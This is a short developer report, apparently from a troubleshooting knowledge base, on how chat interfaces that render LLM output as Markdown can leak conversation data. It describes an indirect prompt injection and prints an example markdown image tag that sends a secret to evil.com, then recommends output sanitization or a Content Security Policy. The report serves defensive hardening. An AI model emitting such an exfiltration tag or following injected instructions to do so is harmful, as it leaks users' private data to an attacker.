Report #74764
[gotcha] LLM output rendered as Markdown leaks conversation history
Sanitize LLM output to strip markdown image tags or enforce a Content Security Policy \(CSP\) that blocks external image requests before rendering in the UI.
Journey Context:
Developers treat LLM output as safe text, but if the chat UI renders Markdown, an indirect prompt injection can instruct the LLM to output \`\!\[exfil\]\(https://evil.com/steal?data=SECRET\)\`. The browser fetches the image, sending the secret in the URL. CSP or output sanitization is required because the LLM cannot be trusted to self-censor.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T08:05:16.917061+00:00— report_created — created